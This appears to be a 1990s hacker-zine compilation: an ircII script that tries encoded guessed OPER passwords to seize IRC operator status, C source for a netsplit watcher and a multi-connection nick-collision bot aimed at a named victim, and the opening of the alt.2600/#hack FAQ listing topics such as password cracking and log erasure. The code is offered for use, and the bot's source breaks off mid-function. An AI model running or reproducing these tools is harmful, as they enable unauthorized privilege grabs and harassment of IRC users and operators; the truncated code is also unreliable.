@ HackOP.B = [FOGPGOCAFOGNGPGEGFCACCCFCACFCACLHHHDCCCAGFGDGIGPCACKCKCKCAENGPGEGFCAGDGIGBGOGHGFCACCCLGPHDHHCCCAGGGPHCCAHFHDGFHCCACEEOCAGCHJCACEEODLHDGFHECAFDFEEBFEFFFDFPFFENEPEEEFCACACICLGPCFCDCJ] @ HackOP.C = [FOGPGOCACDCNHDGFGOGEFPGNHDGHCADBCACKCAHLCPCPFOGOGPHEGJGDGFCACEGCGPGGGICACEEOCACNDOCACKCEDACKCACEDBCNHN] @ HackOP.D = [GNGPGEGFCAEKHFGHGHGMGFHCCACLHDHH]

@ HackOP.E = [GFGDGIGPCACKCKCKCAFJGPHFCAGBHCGFCAGOGPHHCAGBGOCAEJFCEDCAEPHAGFHCGBHEGPHC] @ HackOP.F = [FOGPGOCAGNGPGEGFCACNCCCFCACFCACLHHHDCC]

@ HackOP.G = [FOGPGOCACDCNHCGBHHFPGJHCGDCADACACCCFCADDDBDCCACKCCCAHLGJGGCACIFLCEDDFNDNDNFLCEEOFNCJCAHLHEGJGNGFHCCADACAGFGDGIGPCACKCKCKCACEDDCAGJHDCAGBGOCAEJFCEDCAEPHAGFHCGBHEGPHCHNHN] @ HackOP.H = [EACAFDFEEBFEFFFDFPFFENEPEEEFCADNCAFLCAFMCICLGPCFCDFMCJFN] @ HackOP.I = [FOGPGOCAFOGDHEGDHACACCCFCACFCAEJFCEDEPFACACKCCCAHLEACAGCGPGGGICADNCAFLCEDAFNDLCPCPFOGOGPHEGJGDGFCACEGCGPGGGICAEIGPCAGIGPCAGIGPCBHN] @ HackOP.J = [FOGPGOCAFOGDHEGDHACACCCFCACFCAEJFCEDEPFHCACKCCCAHLGJGGCACIFLCEDAFNDNDNFLCEGCGPGGGIFNCJCAHLCEDDCNDLCPCPFOGOGPHEGJGDGFCACEDACAGEGPGJGOGHDKCACEDDCNHNHN] @ HackOP.K = [FOGBGMGJGBHDCAGLGJGMGMCAGJGGCACIFLCEDAFNCJCAHLCPCPFOHDGJGHGOGPGGGGCAELGJGMGMCAGGHCGPGNCACEEOCAFMCICEDACNFMCJHNHLCPCPELEJEMEMHN] @ HackOP.L = [FOGPGOCACDFOHCGBHHFPGJHCGDCADACACCCFCADEDADBCACFCACFCADKEOGPCKCCCAHLGJGGCACIFLCEDDFNCBDNFLCEGCGPGGGIFNCJCAHLGFGDGIGPCACKCKCKCACEHDHEHCGJHACIDKCACEDDCNCJHNHLEACAGCGPGGGICADNCAFLDNDAFNHNHN] @ HackOP.M = [GFHGGBGMCACPCPFOGOGPHEGJGDGFCACEGCGPGGGICAFCHFGOGOGJGOGHCAEIGBGDGLEPFACACNCACEHEGJGNGFCICJ] @ HackOP.N = [FOGBGMGJGBHDCAHDHBHFGJHECAHLCPCPFOHDGJGHGOGPGGGGCACPHDHBHFGJHECACEDACNHN] @ HackOP.O = [FOGBGMGJGBHDCAGDGPGOGOGFGDHECAGJGGCACIFLCEDAFNCJCAHLHNHLHNDLGFGDGIGPCACKCKCKCAEDEPEOEOEFEDFECAEOGPHECAGFGOGPHFGHGICAHAGBHCGBGNGFHEGFHCHD] @ HackOP.P = [FOHDGFHECAGFHIGFGDFPHAHCGPHEGFGDHEGJGPGOCAGPGGGG]

@ HackOP.Q = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAGFHGGBGMCAFMFMCECEGEGFGDGPGEGFFMFMFMCICEHLEIGBGDGLGPHACOEJHNFMFMFMCJCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD] @ HackOP.R = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAGFHGGBGMCAFMFMCECEGEGFGDGPGEGFFMFMFMCICEHLEIGBGDGLGPHACOEKHNFMFMFMCJCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD] @ HackOP.S = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAEACAGCGPGGGICADNCAFLCEGCGPGGGIFNCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD] @ HackOP.Z = [FOGBGMGJGBHDCACNHBHFGPHEGF]

# #

### Ignore failed hack attempts..

# #

on #^raw_irc "% 491 *No O‑lines*" #

# #

### Poke server (causes a "POKE : unknown command" reply)

# #

@ hackop.poke.junk = [FOGBGMGJGBHDCAHBHFGPHEGFCAHLCEGEGFGDGPGEGFCICEDCCNCJHN] alias hackop.poke {

quote POKE \\;$decode($hackop.poke.junk)

wait

}

# #

### Send bogus passwords..

# #

alias hackop.hack {

foreach HackOP XX {

if ([$(HackOP.$XX)]!=[]) {quote OPER $N $(HackOP.$XX)}

wait

}

}

# #

### Attempt to hack ops..

# #

alias hackop {

umode ‑sw

echo [HackOP] Poking server.. (should reply with error message) hackop.poke

echo [HackOP] Attempting to hack IrcOps..

hackop.hack

}

# #

### Help..

# #

alias hackhelp {

echo

echo [HackOP] You have loaded HackOP.irc v1.3+path from Illegible 8. echo [HackOP]

echo [HackOP] This script attempts to hack IRC Operator status on echo [HackOP] your current server. To use it just type /hackop. echo [HackOP]

echo [HackOP] Aliases added: /hackhelp /hackop /kpath

echo [HackOP]

echo [HackOP] Enjoy it.. /kill your friends. 8‑)

echo

}

# #

### The following code is taken from the ircII 2.2.9 distribution... # #

########################################

#

# No Kill Path Script II

#

# converted to 2.2.1 by phone

# CONVERTED for ircII2.2

# Version for servers 2.7.1* by Nap@irc <pioch@poly.polytechnique.fr> # Original script from YeggMan

# Simplification by Daemon

# This version works both with old and new 2.7.1e kill formats !

@ kpath.kpath = [<empty>]

alias kpath echo ### Last received KILL Path: $kpath.kpath

alias kpath.ridx @ function_return = RINDEX(! $0) + 1

alias kpath.is_serv @ function_return = INDEX(. $MID($kpath.ridx($0) 512 $0)) alias kpath.opkill echo ### KILL for $0 $MID($kpath.ridx($1) 9 $1) $2alias kpath.svkill echo ### ServerKill for $0

on ^server_notice "% * Notice ‑‑ Received KILL*" {

if ([$9] == [From])

{

^assign kpath.kpath $12‑

if (kpath.is_serv($12) > ‑1)

{ kpath.svkill $8 }

{ kpath.opkill $8 $10 $13‑ }

}

{

^assign kpath.kpath $10‑

if (kpath.is_serv($10) > ‑1)

{ kpath.svkill $8 }

{ kpath.opkill $8 $10 $11‑ }

}

}

###[End of stolen code]#######################################

# #

### HackOP loaded message, misc stuff.

# #

alias umode mode $N $0‑

echo [HackOP] HackOP.irc v1.3+path loaded. Type /hackhelp for help

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Editor's Note: This is used in conjunction with the next program]

/*======================================

* ll.c ‑ link looker

* Copyright (C) 1994 by The Software System * * Written by George Shearer (george@sphinx.biosci.wayne.edu) *

\*======================================

/* This program is free software; you can redistribute it and/or modify

* it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version.

*

* This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software

* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

*/

#define BUFSIZE400/* IRC Server buffer */

#define SERVER"irc.escape.com"/* IRC Server */

#define PORT6667/* IRC Port */

#define DELAYS30/* Loop delay seconds*/

#define TIMEOUT30/* connection timeout*/

#define ESTABLISHED1

#define INPROGRESS2

#define SPLIT1

unsigned short int session=0,link_count=0;

char in[BUFSIZE],out_buf[BUFSIZE],hostname[64];

char *ins=in;

char *dedprsn, *kradprsn;

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/time.h>

#include <fcntl.h>

#include <signal.h>

#include <errno.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <netdb.h>

#include <arpa/inet.h>

struct irc_server {

char *name;

char *link;

unsigned short int status;

struct irc_server *next;

} *sl1=(struct irc_server *)0,*sl2=(struct irc_server *)0;

void do_ping(char *,char *);

void do_001(char *,char *);

void do_error(char *,char *);

void do_364(char *,char *);

void do_365(char *,char *);

struct parsers {

char *cmd;

void (*func)(char *,char *);

} parsefuns[] = {

{ "PING", (void *)do_ping },

{ "001", (void *)do_001 },

{ "364",(void *)do_364 },

{ "365", (void *)do_365},

{ "ERROR",(void *)do_error},

{ (char *)0,(void *)0 }

};

struct sockaddr_in server;

int sock=0;

unsigned long int

resolver(char *host) {

unsigned long int ip=0L;

if(host && *host && (ip=inet_addr(host))==‑1) {

struct hostent *he;

int x=0;

while(!(he=gethostbyname((char *)host)) && x++<3) { printf("."); fflush(stdout);

sleep(1);

}

ip=(x<3) ? *(unsigned long *)he‑>h_addr_list[0] : 0L;

}

return(ip);

}

void

clean_sl2(void) {

while(sl2) {

struct irc_server *temp=sl2‑>next;

if(sl2‑>name)

free(sl2‑>name);

if(sl2‑>link)

free(sl2‑>link);

free(sl2);

sl2=temp;

}

sl2=(struct irc_server *)0;

}

void

exit_program(char *why) {

printf("\nExiting program. (%s)\n",why);

if(sock)

close(sock);

while(sl1) {

struct irc_server *temp=sl1‑>next;

if(sl1‑>name)

free(sl1‑>name);

if(sl1‑>link)

free(sl1‑>link);

free(sl1);

sl1=temp;

}

clean_sl2();

if(in)

free(in);

exit(0);

}

int mystrccmp(register char *s1,register char *s2) { while((((*s1)>='a'&&(*s1)<='z')?(*s1)‑32:*s1)== (((*s2)>='a'&&(*s2)<='z')?(*s2++)‑32:*s2++)) if(*s1++==0) return 0;

return (*(unsigned char *)s1‑*(unsigned char *)‑‑s2);

}

char *mstrcpy(char **to,char *from) {

if(from) {

if((*to=(char *)malloc(strlen(from)+1))) strcpy(*to,from);

}

else

*to=(char *)0;

return(*to);

}

char *digtoken(char **string,char *match) {

if(string && *string && **string) {

while(**string && strchr(match,**string))

(*string)++;

if(**string) { /* got something */

char *token=*string; if((*string=strpbrk(*string,match))) { *(*string)++=(char)0;

while(**string && strchr(match,**string)) (*string)++;

}

else

*string = ""; /* must be at the end */

return(token);

}

}

return((char *)0);

}

void signal_handler(void) {

exit_program("caught signal");

}

void signal_alarm(void) {

exit_program("timed out waiting for server interaction.");

}

void

out(void) {

int length=strlen(out_buf);

errno=0;

if(write(sock,out_buf,length)!=length)

exit_program((char *)errno);

}

void

init_server(void) {

int length;

sprintf(out_buf,"USER kil kil kil :ded kilr huntin %s\nNICK kil%d\nPRIVMSG %s :ded kilr hunting %s\n", dedprsn, getpid(), kradprsn, dedprsn); length=strlen(out_buf);

errno=0;

if(write(sock,out_buf,length)==length) { puts("established");

session=ESTABLISHED;

alarm(TIMEOUT);

sprintf(out_buf,"LINKS\n");

out();

}

else

exit_program((char *)errno);

}

void

heartbeat(void) {

strcpy(out_buf,"LINKS\n");

out();

signal(SIGALRM,(void *)heartbeat);

alarm(DELAYS);

}

void

do_364(char *from,char *left) {

struct irc_server *serv;

char *sv1,*sv2;

char *nick;

serv=(struct irc_server *)malloc(sizeof(struct irc_server)); serv‑>next=sl2;

serv‑>status=0;

nick=digtoken(&left," ");

sv1=digtoken(&left," ");

sv2=digtoken(&left," ");

mstrcpy(&serv‑>name,sv1);

mstrcpy(&serv‑>link,sv2);

sl2=serv;

}

int

findserv(struct irc_server *serv,char *name) { for(;serv;serv=serv‑>next)

if(!mystrccmp(name,serv‑>name))

return(1);

return(0);

}

void

do_365(char *from,char *left) {

struct irc_server *serv=sl1;

char kilstring[150];

for(;serv;serv=serv‑>next) {

if(!findserv(sl2,serv‑>name)) {

if(!(serv‑>status & SPLIT)) {

printf("Split server : %s [%s]\n",serv‑>name,serv‑>link); serv‑>status|=SPLIT;

}

}

else

if(serv‑>status & SPLIT) {

printf("Merging server: %s [%s]\n",serv‑>name,serv‑>link); sprintf(kilstring, "mcb %s %s:%s %s&",

kradprsn, dedprsn, serv‑>name, serv‑>link); system(kilstring);

serv‑>status&=~SPLIT;

}

}

serv=sl2;

for(;serv;serv=serv‑>next) {

if(!findserv(sl1,serv‑>name)) {

struct irc_server *serv2;

serv2=(struct irc_server *)malloc(sizeof(struct irc_server)); serv2‑>next=sl1;

serv2‑>status=0;

mstrcpy(&serv2‑>name,serv‑>name);

mstrcpy(&serv2‑>link,serv‑>link);

sl1=serv2;

if(link_count) {

printf("Added server : %s [%s]\n",serv‑>name,serv‑>link); sprintf(kilstring, "mcb %s %s:%s %s&",

kradprsn, dedprsn, serv‑>name, serv‑>link); system(kilstring);

}

}

}

link_count=1;

clean_sl2();

}

void

do_ping(char *from,char *left) {

sprintf(out_buf,"PING :%s\n",hostname);

out();

}

void

do_001(char *from,char *left) {

printf("Logged into server %s as nickname kil%d\n",from,getpid()); printf("Hunting %s\n\n", dedprsn);

alarm(0);

signal(SIGALRM,(void *)heartbeat);

alarm(DELAYS);

}

void

do_error(char *from,char *left) {

printf("Server error: %s\n",left);

}

void

parse2(void) {

char *from,*cmd,*left;

if(*ins==':') {

if(!(cmd=strchr(ins,' ')))

return;

*cmd++=(char)0;

from=ins+1;

}

else {

cmd=ins;

from=(char *)0;

}

if((left=strchr(cmd,' '))) {

int command;

*left++=(char)0;

left=(*left==':') ? left+1 : left; for(command=0;parsefuns[command].cmd;command++) { if(!mystrccmp(parsefuns[command].cmd,cmd)) { parsefuns[command].func(from,left);

break;

}

}

}

}

void

parse(int length) {

char *s=in;

*(ins+length)=(char)0;

for(;;) {

ins=s;

while(*s && *s!=(char)13 && *s!=(char)10)

s++;

if(*s) {

while(*s && (*s==(char)13 || *s==(char)10)) *s++=(char)0;

parse2();

}

else

break;

}

strcpy(in,ins);

ins=in+(s‑ins);

}

void

process_server(void) {

int x=0;

for(;;) {

fd_set rd,wr;

struct timeval timeout;

timeout.tv_usec=0; timeout.tv_sec=1;

FD_ZERO(&rd); FD_ZERO(&wr);

FD_SET(sock,&rd);

if(session==INPROGRESS)

FD_SET(sock,&wr);

errno=0;

select(getdtablesize(),&rd,&wr,NULL,(session==INPROGRESS) ? (struct timeval *)&timeout : NULL);

if(errno==EINTR)

continue;

errno=0;

if(session==INPROGRESS) {

if(FD_ISSET(sock,&wr)) {

init_server();

continue;

}

else {

if(x++>=TIMEOUT)

exit_program("connection timed out"); printf("."); fflush(stdout);

}

}

if(FD_ISSET(sock,&rd)) {

int length=read(sock,ins,BUFSIZE‑(ins‑in));

if(length<1) {

if(session!=INPROGRESS)

if(!errno) {

puts("Connection closed by foreign host."); errno=ENOTCONN;

}

else

printf("Connection to %s closed.\n", inet_ntoa(server.sin_addr)); exit_program((char *)errno);

}

if(strpbrk(in,"\x0a\x0d"))

parse(length);

else ins=(BUFSIZE‑((ins+length)‑in)<1)?in:ins+length;

}

}

}

void

main(int argc,char *argv[]) {

char serverhost[80];

unsigned short int sport=PORT;

kradprsn = argv[1];

dedprsn = argv[2];

if(argc<3)

exit(1);

if(argc==4) {

char *port=strchr(argv[3],':'); sport=(port)?atoi(port+1):sport; strcpy(serverhost,argv[3]);

if(port)

serverhost[port‑argv[3]]=(char)0;

}

else

strcpy(serverhost,SERVER);

signal(SIGPIPE,(void *)signal_handler);

signal(SIGHUP,(void *)signal_handler);

signal(SIGINT,(void *)signal_handler);

signal(SIGTERM,(void *)signal_handler);

signal(SIGBUS,(void *)signal_handler);

signal(SIGABRT,(void *)signal_handler);

signal(SIGSEGV,(void *)signal_handler);

signal(SIGALRM,(void *)signal_alarm);

errno=0;

if((sock=socket(AF_INET,SOCK_STREAM,0))>0) { server.sin_family=AF_INET;

server.sin_port=htons(sport);

printf("Resolving %s...",serverhost); fflush(stdout); if((server.sin_addr.s_addr=resolver(serverhost))) { puts("done");

setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);

fcntl(sock,F_SETFL,(fcntl(sock,F_GETFL)|O_NONBLOCK));

printf("Connecting to %s...",inet_ntoa(server.sin_addr)); fflush(stdout);

errno=0;

if(connect(sock,(struct sockaddr *)&server,sizeof(server))) { if(errno!=EINPROGRESS && errno!=EWOULDBLOCK) exit_program((char *)errno);

else

session=INPROGRESS;

}

else

init_server();

gethostname(hostname,64);

process_server();

}

else

exit_program("resolve failed");

}

else

printf("Failed to allocate an AF_INET socket. (%s)\n",(char *)errno); }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*===============================*\

|* MCB ‑ Multi‑CollideBot v1.5a *|

|* Written by Dr. Delete *|

|* Basically just a way to make *|

|* several TCP connections to a *|

|* server in one small process. *|

\*===============================*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/types.h>

#include <fcntl.h>

#include <signal.h>

#include <errno.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/wait.h>

#include <netinet/in.h>

#include <netdb.h>

#include <fcntl.h>

#include <sys/file.h>

#include <arpa/inet.h>

#define BUFSIZE 350

#define MAXSESSIONS 256

#define BOTTIMEOUT 900 /* 15 minutes (900 seconds) bot lifetime */

struct sockaddr_in server;

char buf[BUFSIZE];

char *kradprsn;

struct ircsession {

int sock;

char stack[BUFSIZE*2];

char *server;

char *nick;

int stat;

} session[MAXSESSIONS];

int sessions,total_sessions;

char *nickpick="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`_"; #define NICKLEN 54

void sig_pipe(void) {

puts("Odd, I just caught a SIGPIPE.");

signal(SIGPIPE,(void *)sig_pipe);

}

void fillran(char *s,int len) {

while(len‑‑)

*s++=*((nickpick)+(rand()%NICKLEN));

*s=0;

}

int strnccmp(register char *s1,register char *s2,register int n) { if(n==0) return(0);

do {

if((((*s1)>='a'&&(*s1)<='z')?(*s1)‑32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?(*s2++)‑32:*s2++)) return (*(unsigned char *)s1‑*(unsigned char *)‑‑s2); if(*s1++==0) break;

} while(‑‑n!=0);

return(0);

}

char *mycstrstr(char *str1,char *str2) {

int xstr1len,ystr2len;

xstr1len=strlen(str1);

ystr2len=strlen(str2);

while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len‑‑>=ystr2len); if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0); return(str1‑1);

}

void out(int fd, char *s) {

write(fd,s,strlen(s));

}

void cclosed(int sessionum) {

if(session[sessionum].sock) shutdown(session[sessionum].sock,2); close(session[sessionum].sock);

session[sessionum].sock=0;

printf("%s: Connection to %s closed.\n",session[sessionum].nick,session[sessionum].server); fflush(stdout); if(!sessions || !total_sessions) {

puts("CollideBot finished.");

exit(0);

}

}

void quitprog(void) {

printf("Signal received! CollideBot exiting. %d sessions still active.\n",sessions); fflush(stdout); while(total_sessions‑‑)

if(session[total_sessions].sock) { out(session[total_sessions].sock,"QUIT :signal received\r\n"); cclosed(total_sessions);

}

puts("CollideBot finished.");

exit(0);

}

unsigned long int resolver(char *host) {

int x=0;

unsigned long int tempresl;

struct hostent *he;

if(sscanf(host,"%d.%d.%d.%d",&x,&x,&x,&x)==4 || !strcmp(host,"0")) return(inet_addr(host));

while(!(he=gethostbyname((char *)host)) && x++<3) sleep(1);

if(x<3)

return(htonl((unsigned long int)((unsigned char)he‑>h_addr_list[0][0]* (unsigned int)256+(unsigned char)he‑>h_addr_list[0][1])* (unsigned int)65536+(unsigned long int)((unsigned char) he‑>h_addr_list[0][2]*(unsigned int)256+(unsigned char) he‑>h_addr_list[0][3])));

printf("Unable to resolve %s!\n",host);

return(0);

}

void estab2(int sock,char *ircservername,char *nick) {

char tempnick[10];

printf("%s: Connection to %s established.\n",nick,ircservername); fflush(stdout); fillran(tempnick,9);

sprintf(buf,"USER %s %s %s %s\r\nNICK %s\r\nPRIVMSG %s :%s iz ded, woowoo\r\n",tempnick,tempnick,tempnick,tempnick,(!strnccmp(nick,kradprsn,5)) ? tempnick : nick, kradprsn, nick); fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) & ~O_NDELAY)); out(sock,buf);

}

int estab(unsigned long int ircserver,char *ircservername,int x) { int sock;

sock=socket(AF_INET,SOCK_STREAM,0);

server.sin_family=AF_INET;

server.sin_port=htons(6667);

server.sin_addr.s_addr=ircserver;

fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) | O_NDELAY)); errno=0;

if((session[x].nick[0]==68 || session[x].nick[0]==100) && (session[x].nick[1]==82 || session[x].nick[1]==114) && (session[x].nick[2]==95) && (session[x].nick[3]==68 || session[x].nick[3]==100) && (session[x].nick[4]==69 || session[x].nick[4]==101) && (session[x].nick[5]==76 || session[x].nick[5]==108) && (session[x].nick[6]==69 || session[x].nick[6]==101) && (session[x].nick[7]==84 || session[x].nick[7]==116) && (session[x].nick[8]==69 || session[x].nick[8]==101)) { printf("%s: Connection to %s has failed.\n",session[x].nick,ircservername); fflush(stdout); close(sock);

return(0);

}

if(connect(sock,(struct sockaddr *)&server,sizeof(server))<0) { if(errno!=EINPROGRESS) {

printf("%s: Connection to %s has failed.\n",session[x].nick,ircservername); fflush(stdout); close(sock);

return(0);

}

else

session[x].stat=2;

}

else {

estab2(sock,ircservername,session[x].nick); session[x].stat=0;

}

return(sock);

}

void parse2(char *buf,int len,int sessionum) {

char *num;

if((num=mycstrstr(buf," ")))

if(atoi((num+1))==372)

return;

if(!strnccmp(buf,"PING",4)) {

buf[1]='O';

out(session[sessionum].sock,(char *)buf); out(session[sessionum].sock,"\r\n");

}

else if(mycstrstr(buf,"already in use")) {

printf("%s: Nickname already in use.\n",session[sessionum].nick); out(session[sessionum].sock,"QUIT\r\n");

}

else if(mycstrstr(buf,"kill") && !session[sessionum].stat++) printf("%s: SCORE!\n",session[sessionum].nick);

else if(mycstrstr(buf,"authoriz"))

printf("%s: Not authorized to use server.\n",session[sessionum].nick); else if(mycstrstr(buf,"ghosts"))

printf("%s: Banned from this IRC server.\n",session[sessionum].nick); }

void parse(unsigned char *buf,int rl,int sessionum) {

int x=0,len;

strcat(session[sessionum].stack,buf); len=strlen(session[sessionum].stack); while(session[sessionum].stack[x]!=13 && session[sessionum].stack[x]!=10 && session[sessionum].stack[x]) x++;

if(session[sessionum].stack[x]) { session[sessionum].stack[x]=0; parse2(session[sessionum].stack,x+1,sessionum); if(len>=(x+1)) {

strcpy(buf,(char *)&session[sessionum].stack[x+1]); session[sessionum].stack[0]=0; parse(buf,len‑(x+1),sessionum);

}

else

session[sessionum].stack[0]=0;

}

}

void process_servers(int secs) {

fd_set rd,wr;

int x,length,selectr=1;

struct timeval timeout;

while(selectr>0) {

timeout.tv_usec=0;

timeout.tv_sec=secs;

errno=0;

FD_ZERO(&rd);

FD_ZERO(&wr);

for(x=0;x<total_sessions;x++)

if(session[x].sock)

if(session[x].stat!=2) FD_SET(session[x].sock,&rd);

else

FD_SET(session[x].sock,&wr);

selectr=select(getdtablesize(),&rd,&wr,NULL,(secs<0) ? NULL : (struct timeval *)&timeout); if(errno==EINTR)

continue;

for(x=0;x<total_sessions;x++) if(FD_ISSET(session[x].sock,&wr)) { session[x].stat=0; estab2(session[x].sock,session[x].server,session[x].nick); }

else if(session[x].stat!=2 && FD_ISSET(session[x].sock,&rd)) { if(!(length=read(session[x].sock,buf,BUFSIZE‑1))) { sessions‑‑;

cclosed(x);

continue;

}

buf[length]=0;

parse(buf,length,x);

}

}

}

void main(int argc,char *argv[]) {

unsigned short int pid,x;

unsigned long int ircserver=0;

char *lastnick=0;

if(argc<3)

exit(0);

kradprsn = argv[1];

/* if((pid=fork())) {

printf("Process ID %d.\n",pid);

exit(0);

} */

sessions=total_sessions=0;

srand(getpid());

signal(SIGHUP,(void *)quitprog);

signal(SIGTERM,(void *)quitprog);

signal(SIGABRT,(void *)quitprog);

signal(SIGINT,(void *)quitprog);

signal(SIGPIPE,(void *)sig_pipe);

for(x=1;x<argc‑1 && x<MAXSESSIONS;x++) {

char *tempp,*default_server;

unsigned long int tempserver; session[x].nick=(argv[x+1][0]=='@') ? (char *)&argv[x+1][1] : argv[x+1]; if((tempp=mycstrstr(argv[x+1],":"))) {

*tempp=0;

lastnick=session[x].nick;

tempserver=ircserver;

ircserver=resolver(tempp+1);

if(ircserver)

default_server=tempp+1;

else

ircserver=tempserver;

}

else if(mycstrstr(argv[x+1],".")) {

if(!lastnick) {

printf("Error: No default nickname to use for connection to %s!\n",argv[x+1]); continue;

}

tempserver=ircserver;

ircserver=resolver(argv[x+1]);

if(ircserver)

default_server=argv[x+1];

else

ircserver=tempserver;

session[x].nick=lastnick;

}

lastnick=session[x].nick;

if(ircserver) { if((session[x].sock=estab(ircserver,default_server,x))) { session[x].stack[0]=0; session[x].server=default_server;

sessions++;

}

}

else

printf("%s: Error! No default server set.\n",session[x].nick); total_sessions=x+1;

}

if(sessions<1) {

printf("CollideBot Exiting, no established sessions.\n"); exit(0);

}

signal(SIGALRM,(void *)quitprog);

alarm(BOTTIMEOUT);

while(1)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The #hack FAQ (Part 1)

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 5 of 22

Editors Note: Welcome to special release of the alt.2600/#hack FAQ for Phrack Magazine!

The purpose of this FAQ is to give you a general introduction to the topics covered on alt.2600 and #hack. No document will make you a hacker.

If you have a question regarding any of the topics covered in the FAQ, please direct it to alt.2600 or #hack. Please do not e‑mail me with them, I'm getting swamped.

If your copy of the alt.2600/#hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ.

The

alt.2600/#Hack F.A.Q.

Special release for Phrack Magazine

A TNO Communication Production

by

Voyager

will@gnu.ai.mit.edu

Sysop of

Hacker's Haven

(303)343‑4053

With greets going out to:

A‑Flat, Al, Aleph1, Bluesman, Cavalier, C‑Curve, DeadKat, Disorder, Edison, Erik Bloodaxe, Hobbit, KCrow, Major, Marauder, Novocain, Outsider, Presence, Rogue Agent, sbin, Taran King, Theora, ThePublic, Tomes and TheSaint.

We work in the dark

We do what we can

We give what we have

Our doubt is our passion,

and our passion is our task

The rest is the madness of art.

‑‑ Henry James

Section A: Computers

01. How do I access the password file under Unix?

02. How do I crack Unix passwords?

03. What is password shadowing?

04. Where can I find the password file if it's shadowed? 05. What is NIS/yp?

06. What are those weird characters after the comma in my passwd file? 07. How do I access the password file under VMS?

08. How do I crack VMS passwords?

09. How do I break out of a restricted shell?

10. How do I gain root from a suid script or program? 11. How do I erase my presence from the system logs? 12. How do I send fakemail?

13. How do I fake posts to UseNet?

14. How do I hack ChanOp on IRC?

15. How do I modify the IRC client to hide my real username? 16. How to I change to directories with strange characters in them? 17. What is ethernet sniffing?

18. What is an Internet Outdial?

19. What are some Internet Outdials?

20. What is this system?

21. What are the default accounts for XXX ?

22. What port is XXX on?

23. What is a trojan/worm/virus/logic bomb?

24. How can I protect myself from viruses and such?

25. Where can I get more information about viruses?

26. What is Cryptoxxxxxxx?

27. What is PGP?

28. What is Tempest?

29. What is an anonymous remailer?

30. What are the addresses of some anonymous remailers? 31. How do I defeat copy protection?

32. What is 127.0.0.1?

33. How do I post to a moderated newsgroup?

Section B: Telephony

01. What is a Red Box?

02. How do I build a Red Box?

03. Where can I get a 6.5536Mhz crystal?

04. Which payphones will a Red Box work on?

05. How do I make local calls with a Red Box?

06. What is a Blue Box?

07. Do Blue Boxes still work?

08. What is a Black Box?

09. What do all the colored boxes do?

10. What is an ANAC number?

11. What is the ANAC number for my area?

12. What is a ringback number?

13. What is the ringback number for my area?

14. What is a loop?

15. What is a loop in my area?

16. What is a CNA number?

17. What is the telephone company CNA number for my area? 18. What are some numbers that always ring busy?

19. What are some numbers that temporarily disconnect phone service? 20. What is scanning?

21. Is scanning illegal?

22. Where can I purchase a lineman's handset?

23. What are the DTMF frequencies?

24. What are the frequencies of the telephone tones? 25. What are all of the * (LASS) codes?

26. What frequencies do cordless phones operate on?

27. What is Caller‑ID?

28. What is a PBX?

29. What is a VMB?

Section C: Resources

01. What are some ftp sites of interest to hackers?

02. What are some fsp sites of interest to hackers?

03. What are some newsgroups of interest to hackers? 04. What are some telnet sites of interest to hackers? 05. What are some gopher sites of interest to hackers? 06. What are some World wide Web (WWW) sites of interest to hackers? 07. What are some IRC channels of interest to hackers? 08. What are some BBS's of interest to hackers?

09. What are some books of interest to hackers?

10. What are some videos of interest to hackers?

11. What are some mailing lists of interest to hackers? 12. What are some print magazines of interest to hackers? 13. What are some e‑zines of interest to hackers?

14. What are some organizations of interest to hackers? 15. Where can I purchase a magnetic stripe encoder/decoder? 16. What are the rainbow books and how can I get them?

Section D: 2600

01. What is alt.2600?

02. What does "2600" mean?

03. Are there on‑line versions of 2600 available?

04. I can't find 2600 at any bookstores. What can I do? 05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Section E: Phrack Magazine

01. What is Phrack Magazine?

02. How can I reach Phrack Magazine?

03. Who Publishes Phrack?

04. How often does Phrack go out?

05. How do I subscribe?

06. Why don't I get any response when I email Phrack? 07. Does Phrack cost money?

08. How can I submit articles?

09. What is Phrack's PGP key?

10. Where can I get back issues?

Section F: Miscellaneous

01. What does XXX stand for?

02. How do I determine if I have a valid credit card number? 03. What bank issued this credit card?

04. What are the ethics of hacking?

05. Where can I get a copy of the alt.2600/#hack FAQ?

Section A: Computers

~~~~~~~~~~~~~~~~~~~~

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere.

02. How do I crack Unix passwords?

